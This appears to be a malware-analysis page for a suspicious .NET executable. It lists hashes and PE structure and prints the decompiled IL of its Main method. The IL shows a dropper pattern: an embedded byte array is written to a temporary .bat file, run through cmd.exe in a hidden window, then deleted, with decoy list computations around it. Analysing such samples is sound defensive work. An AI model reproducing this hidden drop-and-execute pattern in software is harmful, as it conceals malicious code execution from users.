Suspicious
Suspect

b1b1779c322c026e9b93c8b0bcf80d42

Share on LinkedIn
Print
PE Executable
MD5: b1b1779c322c026e9b93c8b0bcf80d42
Size: 103.42 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very low
MD5 b1b1779c322c026e9b93c8b0bcf80d42
Sha1 6a41e4962c97a1c3b9d9ce9aafc5c357b298d3b0
Sha256 47b7959bb57dd0753a9e26f1e2593f2ed1ea5fc31a10c2c0a51034fef8147cf5
Sha384 2d977301fb5c0b458469c1999c9fa32953fe79f426a781efc48227c0eaefe059d7d1c0aa2e579a98ac80a3d7fe416bca
Sha512 546aef72a62fb7ccce272d7039584937b4789f27c8d59d6db3ff6cb13c8d0fa26e2a3808e94b33862f62f2052042a679c9243da02d66878c90b134ecf34d1596
SSDeep 3072:zIb0grvFggrvFtcoQntK+C7VieM3SFZNt9cw:zIb0AOAPTQwX3MmI
TLSH 37A3AEB3D2DF349EC843A2BA6456C0C79B4BBC0B6C0A0E7179A83D416B6B35563CDD46
b1b1779c322c026e9b93c8b0bcf80d42
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.reloc
.rsrc
Resources
RT_ICON
ID:0001
ID:1033
ID:0002
ID:1033
ID:0003
ID:1033
ID:0004
ID:1033
ID:1033-preview.png
RT_GROUP_CURSOR4
ID:0001
ID:1033
RT_VERSION
ID:0001
ID:1033
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 1img 1
Name Value
Module Name
GeneratedExe.exe
Full Name
GeneratedExe.exe
EntryPoint
System.Void Program::Main()
Scope Name
GeneratedExe.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
GeneratedExe
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
10
Main Method
System.Void Program::Main()
Main IL Instruction Count
291
Main IL 
nop <null>
ldc.i4 33106
newarr System.Byte
dup <null>
ldtoken <PrivateImplementationDetails>/__StaticArrayInitTypeSize=33106 <PrivateImplementationDetails>::90ED9B4F23C181A7F9B193AA7F924C27CE7C8395947FDFFD92F89AB6E19C77C6
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.0 <null>
newobj System.Void System.Collections.Generic.List`1<System.Int32>::.ctor()
stloc.s V_4
ldloc.s V_4
ldc.i4.5 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
nop <null>
ldloc.s V_4
ldc.i4.s 12
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
nop <null>
ldloc.s V_4
ldc.i4.7 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
nop <null>
ldloc.s V_4
ldc.i4.s 20
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
nop <null>
ldloc.s V_4
ldc.i4.3 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
nop <null>
ldloc.s V_4
ldc.i4.s 15
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
nop <null>
ldloc.s V_4
ldc.i4.8 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
nop <null>
ldloc.s V_4
ldc.i4.s 11
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
nop <null>
ldloc.s V_4
ldc.i4.s 14
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
nop <null>
ldloc.s V_4
stloc.1 <null>
ldloc.1 <null>
ldsfld System.Func`2<System.Int32,System.Boolean> Program/<>c::<>9__0_0
dup <null>
brtrue.s IL_0097: call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Where<System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Boolean>)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Boolean Program/<>c::<Main>b__0_0(System.Int32)
newobj System.Void System.Func`2<System.Int32,System.Boolean>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Int32,System.Boolean> Program/<>c::<>9__0_0
call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Where<System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Boolean>)
ldsfld System.Func`2<System.Int32,System.Int32> Program/<>c::<>9__0_1
dup <null>
brtrue.s IL_00BB: call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Select<System.Int32,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Int32>)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Int32 Program/<>c::<Main>b__0_1(System.Int32)
newobj System.Void System.Func`2<System.Int32,System.Int32>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Int32,System.Int32> Program/<>c::<>9__0_1
call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Select<System.Int32,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Int32>)
ldsfld System.Func`2<System.Int32,System.Int32> Program/<>c::<>9__0_2
dup <null>
brtrue.s IL_00DF: call System.Linq.IOrderedEnumerable`1<System.Int32> System.Linq.Enumerable::OrderBy<System.Int32,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Int32>)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Int32 Program/<>c::<Main>b__0_2(System.Int32)
newobj System.Void System.Func`2<System.Int32,System.Int32>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Int32,System.Int32> Program/<>c::<>9__0_2
call System.Linq.IOrderedEnumerable`1<System.Int32> System.Linq.Enumerable::OrderBy<System.Int32,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Int32>)
call System.Collections.Generic.List`1<System.Int32> System.Linq.Enumerable::ToList<System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>)
stloc.2 <null>
call System.String System.IO.Path::GetTempPath()
call System.Guid System.Guid::NewGuid()
stloc.s V_5
ldloca.s V_5
constrained. System.Guid
callvirt System.String System.Object::ToString()
ldstr .bat
call System.String System.String::Concat(System.String,System.String)
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.3 <null>
nop <null>
ldloc.3 <null>
ldloc.0 <null>
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
nop <null>
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.s V_11
ldloc.s V_11
ldstr cmd.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
nop <null>
ldloc.s V_11
ldstr /C "
ldloc.3 <null>
ldstr "
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
nop <null>
ldloc.s V_11
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
nop <null>
ldloc.s V_11
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
nop <null>
ldloc.s V_11
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
nop <null>
ldloc.s V_11
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean)
nop <null>
ldloc.s V_11
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean)
nop <null>
ldloc.s V_11
stloc.s V_6
ldloc.2 <null>
ldsfld System.Func`2<System.Int32,System.Int32> Program/<>c::<>9__0_3
dup <null>
brtrue.s IL_0199: call System.Collections.Generic.IEnumerable`1<System.Linq.IGrouping`2<System.Int32,System.Int32>> System.Linq.Enumerable::GroupBy<System.Int32,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Int32>)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Int32 Program/<>c::<Main>b__0_3(System.Int32)
newobj System.Void System.Func`2<System.Int32,System.Int32>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Int32,System.Int32> Program/<>c::<>9__0_3
call System.Collections.Generic.IEnumerable`1<System.Linq.IGrouping`2<System.Int32,System.Int32>> System.Linq.Enumerable::GroupBy<System.Int32,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Int32>)
ldsfld System.Func`2<System.Linq.IGrouping`2<System.Int32,System.Int32>,System.Int32> Program/<>c::<>9__0_4
dup <null>
brtrue.s IL_01BD: ldsfld System.Func`2<System.Linq.IGrouping`2<System.Int32,System.Int32>,System.Collections.Generic.List`1<System.Int32>> Program/<>c::<>9__0_5
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Int32 Program/<>c::<Main>b__0_4(System.Linq.IGrouping`2<System.Int32,System.Int32>)
newobj System.Void System.Func`2<System.Linq.IGrouping`2<System.Int32,System.Int32>,System.Int32>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Linq.IGrouping`2<System.Int32,System.Int32>,System.Int32> Program/<>c::<>9__0_4
ldsfld System.Func`2<System.Linq.IGrouping`2<System.Int32,System.Int32>,System.Collections.Generic.List`1<System.Int32>> Program/<>c::<>9__0_5
dup <null>
brtrue.s IL_01DC: call System.Collections.Generic.Dictionary`2<System.Int32,System.Collections.Generic.List`1<System.Int32>> System.Linq.Enumerable::ToDictionary<System.Linq.IGrouping`2<System.Int32,System.Int32>,System.Int32,System.Collections.Generic.List`1<System.Int32>>(System.Collections.Generic.IEnumerable`1<System.Linq.IGrouping`2<System.Int32,System.Int32>>,System.Func`2<System.Linq.IGrouping`2<System.Int32,System.Int32>,System.Int32>,System.Func`2<System.Linq.IGrouping`2<System.Int32,System.Int32>,System.Collections.Generic.List`1<System.Int32>>)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Collections.Generic.List`1<System.Int32> Program/<>c::<Main>b__0_5(System.Linq.IGrouping`2<System.Int32,System.Int32>)
newobj System.Void System.Func`2<System.Linq.IGrouping`2<System.Int32,System.Int32>,System.Collections.Generic.List`1<System.Int32>>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Linq.IGrouping`2<System.Int32,System.Int32>,System.Collections.Generic.List`1<System.Int32>> Program/<>c::<>9__0_5
call System.Collections.Generic.Dictionary`2<System.Int32,System.Collections.Generic.List`1<System.Int32>> System.Linq.Enumerable::ToDictionary<System.Linq.IGrouping`2<System.Int32,System.Int32>,System.Int32,System.Collections.Generic.List`1<System.Int32>>(System.Collections.Generic.IEnumerable`1<System.Linq.IGrouping`2<System.Int32,System.Int32>>,System.Func`2<System.Linq.IGrouping`2<System.Int32,System.Int32>,System.Int32>,System.Func`2<System.Linq.IGrouping`2<System.Int32,System.Int32>,System.Collections.Generic.List`1<System.Int32>>)
stloc.s V_7
ldstr Grouped values:
call System.Void System.Console::WriteLine(System.String)
nop <null>
nop <null>
ldloc.s V_7
callvirt System.Collections.Generic.Dictionary`2/Enumerator<System.Int32,System.Collections.Generic.List`1<System.Int32>> System.Collections.Generic.Dictionary`2<System.Int32,System.Collections.Generic.List`1<System.Int32>>::GetEnumerator()
stloc.s V_12
br.s IL_0232: ldloca.s V_12
ldloca.s V_12
call System.Collections.Generic.KeyValuePair`2<System.Int32,System.Collections.Generic.List`1<System.Int32>> System.Collections.Generic.Dictionary`2/Enumerator<System.Int32,System.Collections.Generic.List`1<System.Int32>>::get_Current()
stloc.s V_13
nop <null>
ldstr Key {0}: {1}
ldloca.s V_13
call System.Int32 System.Collections.Generic.KeyValuePair`2<System.Int32,System.Collections.Generic.List`1<System.Int32>>::get_Key()
box System.Int32
ldstr , 
ldloca.s V_13
call System.Collections.Generic.List`1<System.Int32> System.Collections.Generic.KeyValuePair`2<System.Int32,System.Collections.Generic.List`1<System.Int32>>::get_Value()
call System.String System.String::Join<System.Int32>(System.String,System.Collections.Generic.IEnumerable`1<System.Int32>)
call System.String System.String::Format(System.String,System.Object,System.Object)
call System.Void System.Console::WriteLine(System.String)
nop <null>
nop <null>
ldloca.s V_12
call System.Boolean System.Collections.Generic.Dictionary`2/Enumerator<System.Int32,System.Collections.Generic.List`1<System.Int32>>::MoveNext()
brtrue.s IL_01FA: ldloca.s V_12
leave.s IL_024C: ldloc.s V_7
ldloca.s V_12
constrained. System.Collections.Generic.Dictionary`2/Enumerator<System.Int32,System.Collections.Generic.List`1<System.Int32>>
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
ldloc.s V_7
ldsfld System.Func`2<System.Collections.Generic.KeyValuePair`2<System.Int32,System.Collections.Generic.List`1<System.Int32>>,System.Collections.Generic.IEnumerable`1<System.Int32>> Program/<>c::<>9__0_6
dup <null>
brtrue.s IL_026D: call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::SelectMany<System.Collections.Generic.KeyValuePair`2<System.Int32,System.Collections.Generic.List`1<System.Int32>>,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Collections.Generic.KeyValuePair`2<System.Int32,System.Collections.Generic.List`1<System.Int32>>>,System.Func`2<System.Collections.Generic.KeyValuePair`2<System.Int32,System.Collections.Generic.List`1<System.Int32>>,System.Collections.Generic.IEnumerable`1<System.Int32>>)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Collections.Generic.IEnumerable`1<System.Int32> Program/<>c::<Main>b__0_6(System.Collections.Generic.KeyValuePair`2<System.Int32,System.Collections.Generic.List`1<System.Int32>>)
newobj System.Void System.Func`2<System.Collections.Generic.KeyValuePair`2<System.Int32,System.Collections.Generic.List`1<System.Int32>>,System.Collections.Generic.IEnumerable`1<System.Int32>>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Collections.Generic.KeyValuePair`2<System.Int32,System.Collections.Generic.List`1<System.Int32>>,System.Collections.Generic.IEnumerable`1<System.Int32>> Program/<>c::<>9__0_6
call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::SelectMany<System.Collections.Generic.KeyValuePair`2<System.Int32,System.Collections.Generic.List`1<System.Int32>>,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Collections.Generic.KeyValuePair`2<System.Int32,System.Collections.Generic.List`1<System.Int32>>>,System.Func`2<System.Collections.Generic.KeyValuePair`2<System.Int32,System.Collections.Generic.List`1<System.Int32>>,System.Collections.Generic.IEnumerable`1<System.Int32>>)
ldsfld System.Func`3<System.Int32,System.Int32,System.Int32> Program/<>c::<>9__0_7
dup <null>
brtrue.s IL_0291: call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Select<System.Int32,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`3<System.Int32,System.Int32,System.Int32>)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Int32 Program/<>c::<Main>b__0_7(System.Int32,System.Int32)
newobj System.Void System.Func`3<System.Int32,System.Int32,System.Int32>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`3<System.Int32,System.Int32,System.Int32> Program/<>c::<>9__0_7
call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Select<System.Int32,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`3<System.Int32,System.Int32,System.Int32>)
call System.Collections.Generic.List`1<System.Int32> System.Linq.Enumerable::ToList<System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>)
stloc.s V_8
ldstr 
Flattened transformed values:
call System.Void System.Console::WriteLine(System.String)
nop <null>
ldloc.s V_8
ldsfld System.Action`1<System.Int32> Program/<>c::<>9__0_8
dup <null>
brtrue.s IL_02C9: callvirt System.Void System.Collections.Generic.List`1<System.Int32>::ForEach(System.Action`1<System.Int32>)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__0_8(System.Int32)
newobj System.Void System.Action`1<System.Int32>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action`1<System.Int32> Program/<>c::<>9__0_8
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::ForEach(System.Action`1<System.Int32>)
nop <null>
nop <null>
nop <null>
ldloc.s V_6
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_14
nop <null>
ldloc.s V_14
callvirt System.IO.StreamReader System.Diagnostics.Process::get_StandardOutput()
callvirt System.String System.IO.TextReader::ReadToEnd()
stloc.s V_15
ldloc.s V_14
callvirt System.IO.StreamReader System.Diagnostics.Process::get_StandardError()
callvirt System.String System.IO.TextReader::ReadToEnd()
stloc.s V_16
ldloc.s V_14
callvirt System.Void System.Diagnostics.Process::WaitForExit()
nop <null>
nop <null>
leave.s IL_030F: ldloc.s V_8
ldloc.s V_14
brfalse.s IL_030E: endfinally
ldloc.s V_14
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
ldloc.s V_8
call System.Int32 Program::<Main>g__ComputeSum|0_9(System.Collections.Generic.IEnumerable`1<System.Int32>)
stloc.s V_9
ldloc.s V_8
call System.Int32 Program::<Main>g__ComputeWeirdMetric|0_10(System.Collections.Generic.IEnumerable`1<System.Int32>)
stloc.s V_10
ldstr 
Sum (modded): {0}
ldloc.s V_9
box System.Int32
call System.String System.String::Format(System.String,System.Object)
call System.Void System.Console::WriteLine(System.String)
nop <null>
ldstr Weird metric: {0}
ldloc.s V_10
box System.Int32
call System.String System.String::Format(System.String,System.Object)
call System.Void System.Console::WriteLine(System.String)
nop <null>
nop <null>
leave.s IL_0365: ret
nop <null>
nop <null>
ldloc.3 <null>
call System.Void System.IO.File::Delete(System.String)
nop <null>
nop <null>
leave.s IL_0363: nop
pop <null>
nop <null>
nop <null>
leave.s IL_0363: nop
nop <null>
endfinally <null>
ret <null>
Info
PE Detect: PeReader OK (file layout)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙